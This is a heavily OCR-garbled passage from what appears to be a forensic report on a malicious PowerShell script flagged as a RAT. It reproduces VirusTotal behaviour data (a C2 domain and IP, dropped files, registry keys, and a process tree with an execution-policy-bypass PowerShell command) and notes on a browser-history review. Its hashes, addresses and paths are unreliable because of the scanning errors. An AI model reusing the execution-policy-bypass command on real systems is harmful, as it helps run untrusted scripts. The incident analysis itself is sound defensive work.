celactdetbgantoredt  beg e

Network Communicstion Q)

NS Resclutions

= @ nowlbyadd 20 comly
4574.0.166




Activily Summary Aifacts =

1P Trafiic
@ 4574.0.166:5070 (TCP)

Bebavior Simllerhty Hashes ©

ViusTotal Jupbax b 141cHeecDTcd7d110c308bcBo4 180
VirusTota! Observer  bdc3TIicOche2 40206604 77438523

Zonbe 422385258460bbOch3IaT dluab1d4asl
File system sctions Q

Fllas Oponed

B KWINDR %aystom3T0Nindows PowerBhallw 1 Oposrarshall
B C\Program Flles

@ CiProgram Files (x5 MutoRi\AutolX\

@ C\Program Flies (BSNCommon Flas\Oracle\lavaiavepath
@ C\Program Flies (36)WindowsPewarShelfhodules\
@ C/Program Flles (x86WVindows Power ShelfModulesWicrosoft PowarShall Operation Visidationt

@ C\Program rerShefl 2asler

@ C:\Program FlesWindowsPowerShalliodules\PowerShaliGen
@ CAProgramData’checolsteylbin\

W CilUsars\USER>WppDatall ocat

B JSER> alMioroschtivVindow wShell

@ CUsarswseppDats\LocalMicroseMCLR_v4.0_32\Usa palogs\RegBves exs log
@c ¥ - o
mno 1 WL
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Analyzing 3242342342 ps1 (2022-8-01 10:58); Only 13 of 59 flagged it as malicious, previously reported
on 2022-8-23,

Network Communication: DNS Resolutions: 2024./libya2020.com.ly = 45.74,63.210 (Voxility LLP, Internet
Security - US LA)

Domain hacked or the owner is involved.

a z2mPs ~ G

f’ia D S ity Oforse = tinter +  Mony -
Wie | et
RBDOULp

& mamend sge.

sl the YT Community v drtactom shach,

Populs throat sbel (D bester Faly labwin ot

Socurly vendery’ sratysis O 00 o what 10 Baseryamy chieks?
v (] Hom EICFZ0 Bavier $42 EIFIF132 Aecalil (D) How BIC PIO0 Banter 82 EWF IF 1R

Avesl (D sosameigen oy e (D) Detptoniri gon ool

SDvtencer (D) HomBICPIO Bortm S02 ERFIF13 Ermisat (D) Hew 820 PZO Do S EU I )

b () Moux BIC P20 Bt 543 BRF1F12 ESETHOOR (D Poustnaippm

GDuta (]) Hose BIC A2O Boster 942 EOF1F132 blchles-GW.EBfan [0

Bmariac (D) Bactcom Rty Tl ey} (D) Moue 20 P70 Dot HLESF1F12

Vi (D) Mow BICPZO Bensw 942 E0F17 132 Acredta (e M) @ Undotuctad

Alab ) © Untsmciod Ay © Untactod

Aokva [ dlowe) () Undotectel Baids ) Undsiacted

BDuterdaThatn (©) Unéstectet B (@) Undetected .
[ A ittt ue [y r—

Page 24 of 31




=1 | | | | 1§ Semdl -3

Q 28 (P e @ED

'13 » @ 13 sacurly CF Rasashy == Sinller + Mo +
"h: namap WHw  amm—

= R ¥T. -y Ortaciens, phen 83 APY Lay b Aot Shacks,

Page 25 of 31




DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY &

saln the VT Corsmunity and srijoy sdditionsl community Insighis nd crowdsourced defections, phus an API key 1o ulomata checks,

Contacted Domains (1) ©

Domain Detections Crosted Raglatrar
2024 ibya2020.comly 8 /89 2020-01-11 LTT local {joc)

Contacted IP addresses (1) ©

» Detections Autonomous System Country
457463210 orar un us
Dropped Files (3) @
Scanned Detections Fhe type Hame
v 0220703 0187 Windows shoricut Windows Ink
v 020703 0158 Windows shoricut Windows ink
v 7 7 e b32dTcSEIMI5Ticedbealoc22e5061d3aB4/Bdc506142ab133b5c69:0d65642a
Graph Summary
® 1contacsedips
® 2 dropped ties

@ 1 contacted domalna

Page 26 of 31




C

Il | ileastl 4 ool

Crowdsourced Sigma Rules O

CRTICALS HIGHO MEDIUM2 LOW1Y

A\ Maiches e Wowid3INede Actorun Key by Victor Sergaev, Deniil

Intograled Rus St (GRHub}
2 Detects :

by pant (ASEF) = registy.

£\ Maiches ruo Suspiclous aspnet_compllarexe Execution by frack111 at Sigma ntegrated Ruls S5t (GifHub)
3 Exvcute C# code with tha Bulld Provider and proper folder stuchurs in place.

Ay Mistches rule Failod Code Iniegrity Chocks by Themas Patzks st Sigra iniegrated Ruls Set (GiHub)
Ok bk e

nlegriy faluree may

Crowdsourced IDS ndes O

A\ Maiches sls MALWARE-CNC Win. Trejen njRAT vadent o rulssel
Y bojon-actiwly

A Matches mils ET MAUWARE Genaric RAT/Bladsbiod CnC Activily (1) st Proslpoint Emerging Thrests Open
4 Melwars Command and Control Ackvity Defected

Network Communication @

DNS Reschutions
- @ 2024 Bya2020 comly
457463210

1P Tretic
@ 4574632102020 (TCP)

Bohavior Simiiarity Hashes @

VinaTetsl fupbax  B723e515abb 96040t 0ed e T aec
ViueTetal Observer  14999cadddcTad 2adZboadiTa5202c48

Flles Written

@ C\Users\USER>WppData\LocaRTemp\iyxScdbw, 1pf pet

@ C\Userswser\AppDatailocalMicrosoMiWindows\Cachea

@ CMsenuserAppDatail ocahMicrosokWindows\PowerShelStartupProfeData-Noninteraciiva

@ CAUsersimerAppDatail ocaTemp)__ PSSeripWPallcyTost_gSp2gton Klpst

@ C:senwseAppDatailocaliTemp\_PSScripiPolicyTest_goig2p33.0qx pam1

@ CiUsersumarAppDataifteaming

@ CMserswusenAppDala\ReamingiMicrosofWindows\RecentCustomDestinations

@ CUsersuserlAppDataiReamingiMicrosoWindows\RecenhCustomDestinations'V0Y CEBIKIF0CCHOFKKAIH femp
@ Cilserswser\ippData\Roaming\MicrosoRiWindows\Start Menu\Programe\StartupWindowa ink
@ CilsersuserAppDatsiRosming\MicrosoftWindows\Templates\Windews.Ink

@ Clsers\useriDocuments\20220823

® CiUserswsarDocuments\20220823\PowerShell_transcript 632822 TEpghF 2q.20220823054703 bt
@ CiWindows\syslem32icatroot

@ CiWindows\syslem32icatrool2

@ \Dovice\ConDrviiConned

~

Files Deleted

@ CUserswserAppDawiLocekTemp)_PSScriptPolicy Teat_gSp2glon {Lps1
@ CUsersusedAppDatalLocaTemp\_PSSeriptPolicyTest_gmiq2p3d.oge psmi

i Shalion, frack113 (spi) 2 Sigma




® Sofware\PoliciesWicrosofWindows\Currentversionlintemet Settings\Security_HKLM_oniy

Reglstry Koys Sot

— ® HKCU\Softward\Wicrosoftiwindows\CurrentVersioninternel Sattings\ZoneMap\AutoDatect
1

= @ HKCU\Software\llicroscftiWindows\CurrentVersioninternet Settings\ZoneMap\UNCAsintranel
]

— @ HKEY_CURRENT_USER\Envionment\SEE_MASK_NOZONECHECKS
1

— @ HKEY_CURRENT_USER\SoftwareWindows

— @ HKEY_CURRENT_USERW
I

— @ HKEY_LOCAL_MACHINE'SYSTEM\ControlSet00 1\ControlMediaResources

— @ HKEY_LOCAL_MACHINE\SYSTEM\ControlSet00 1\ControlMediaResourcestmsvideo

Process and sarvice actions @

Processes Tree

9 2588 - ciwindowsfaystsm32/WindowsPowarShallv1.0/powershell exa -fle 12.pat

@ 1, 2800 - C:Windows\System32\conhast exa C:Windows\systam32\conhos!.exe Qs -ForceV1

@ 4452 - C:\Windows\System32\WindowsPowerShalliv1.0\powarshall axe" -nolLoga -ExacutlonPolicy unrestricled -fis "C AUsers\uaer\Deakioph2 pat
@ ., 7856 - C:Windows\Microsoft NETWrameworkivd.0.30319\aspnet_complier.exe
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Trying other online malware analysis tools give less Information than ‘VirusTotal’, for example
‘MetaDefender’:

oPswAT, ‘ S :
s Fila, URL. IP pitress, Domom, Mash, o CVE ] Frglieh fgnh Lowming =
0 Overview Awpn1Q
7 Btk Analyes
W Cormmunity Thren! ame e Aas g Gtpprwionhaie®  Bdo Qo

Hatsscan [T T Camemurdey kaight
Trrests detectec Fitetype ls not supported User votes
2 132 % %
NoES
[ St gt ] | — i | [—— ]
Upgeats ks Bt corurentate! Chash cut G CoTL Y
DesplOR

— oy
LI MDA 0 B bl FO B T 000 B 2 Y

Lown more sbout Dsta Saniizaton m
il
File-8aa0d Worarani oy As mmnent ow
Ko vulneratulties repartsd e

BBt P Pl AL IS 0wy LN iypen O AN, Pt

{10) Checking the browsing history:
Searching the Internet browsing history in the browsers does not glve any suspicious results.

Using ‘ChromeCacheView’ program from ‘Nir Soft’ to search the browsing history in the cache folders
we found no suspicions:

Microsoft Edge: Not much history, only few times from 2023-08-14 to 2023-08-21, and accessing sites
related Microsoft.

e
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Feuma o Contert Trpe File Slas LmtAccemed v ServarTime Sover Lust Macified  Expirs Wima Sorver Nam
[ momeasignal i e ’ - VAVODIEMI. YZ/EBEING . V01 Z0000AM 111601 20600 AM
(h] arbibeatis o nkity wplstas/ap i, L] VARG DML, VIVRB 0.  VIHOTZ0R00AM /171801 20000 AM
0 dgu b Mt . W V2R3 1010 QZVEEBAOT.. V11601 20000 AM  1/1/1601 20000 Al
[ sveamr-or-28.. iy bubi pppa..  appltaionfoctel-stram  JOAZRZ VAN ML VIUNGSHAT. W17208 12350 117180 20000 AM
D domaine > app i 0 IV 030, VTVIRSIAT.. V11601 J0000AM  1/1/H0 20000 AM
[ monm st st IFORM= MONITR ] WABMOM.. VIVBDENM - VI 2000AM 11701 20000 AM
fopl et B0 myUATARQRY...  tertjevascript o VIS0 .. IVEDIBN0.. VIV KM 1/1/1001 L0000 AM
com/p/l Mokkis RIMFSwWIA.  teljvercipt (L] RN 0M.. G2VND I WV A0 /17101 20000 AM
- /¥43GQgatW_g] jromeigt 481 A2 MOM.. ZVAB G .. WINDOISL.  V1/H01 20000 AW
| dhpwarShs..  hatpm//adig iy wgt¥ols_  tetjevascip 108 VTR MOM.. TUNB R0 .. /19200 TOSA5 ... 11/ 20000 AM

. - appestionfron Y] e vinen

a] ol i ] WA MO .. WZIMIIRAIGE .. VU101 Z0000AM 111601 BIRO0AM  Micrewlt-t
) iomBosaAsCE.. PG ] WO MOZ) .. VAVISB AL .. VI/1001 2OOODAM /171001 20000 AM
o oF v com/ip/AIPKPaze WA L MIARINMCY.. VIMANE. VIVIETRN. VI 20000 AM
 GasauumFCN_. . om/ i/ FONTHIReH0.  tmtfjovencript s A0, VIVEBBD.. TRVEBRIEM. V110 060 AM
9 itps/ fedgeserv ConV /G VU yC.  tmtovarcript s MAQIGOZ .. GZUADSIM.. 7000 TOML..  11/181 20000 AM
Mitp//ad geserdces bing.conym/THIMA Ty Tx1INMELDA.  taxtjavescript e MNATIMD3),. SAVADMIGE. MVRDRILHAM 1171691 20000 AM
comips, apphestion/z jromcrigt 37 V202, A2V 0G0 ..  WOAD PGRS . 1/1/101 20600 AM
IGEVDIIMEL.  tmstfcrs un AN /17100 20000 AM
o Ug... tpe//udge THEI K- DI 1 7. tmt/css o WZIRRIM0 ., ZVMB SN0l ANV 1AORSE.  1/1/1601 20000 AM
€ oyt 9 7 gt o/t 3598 VNN M. VIVASHOA .. VW01 HGI0AM  1/1/1801 20000 AM
b FteCicbaljs.. appicetion/pon 215 M22RI 022, VIVEDBMNE.. WEVAS M~ 1171001 20000 AM
E--—mw-un. o o g ugsn VIWRIZI05 . VWEDENS.. WVRDGNMPM  11/161 20000 AM
6=FRAACAICTI.. - TAMIS.. [] V221050, WWRB2ISS. VI 20000AM  11/1601 20000 AM

) seenmicandare . o 44 »n VWD BN WWARRIEM.. VUMD 2000AM V11001 20000AM Micesh

L

23 Remis)

Google Chrome:

History starts from 2023-08-10 to 2023-08-22, On the date of the incident 2023-08-22 there is no access
to suspicious sites only local *.Itt.ly and local IP addresses. On 2023-08-20 and other days before there is
access to ‘facebook’ URLs but no susplclous URLs found.
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T/ #1136
TRAYRDRIEN ..
TANNB IR

V11801 20000 AM
VU166 20080 AM
V1601 200400 AM
VI/HE 10080 A
VG 20060 AM
VI/HT1 20000 AM

E
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fia Bl View Optiors Help
ash AR LFRE-4
Fllsname L Content Tpe File Sae LastAcoessed v Server Time
Clprotasst itpx// content -sutofill gueghmpi.comy/pages/ ChRDeHUv...  taxt/plein m 22200 SN VRL/ERD 1IRRL.
E""" " Sl guoglemy page/ChRDaHiv...  textfplain “ VEDE.. VB0 1R
pratatat 5 Page/ChRDsHY..  tmxbiplin m NI 0. WU TIARN..
Finm tipm % page tt/plain m VTR S0 - WILTD 1R
[ provatnt ttp L g/ CAD: platn m VO SA0M - VI8 1195
i hitpe//conkert-sutsfil googleay ges/CMDaHi. tmiiplein [ ® VIS0N .. VIURD 3R
| oeod Yetpe pague/CRIDaHN~-  tartplain ® VRRD 04~ VRYND T8
Dprtas hetpe g toxpisin w NN VIR0 1M
[ protatat it/ o tv/plain " WA 3500 - WAL/ IR
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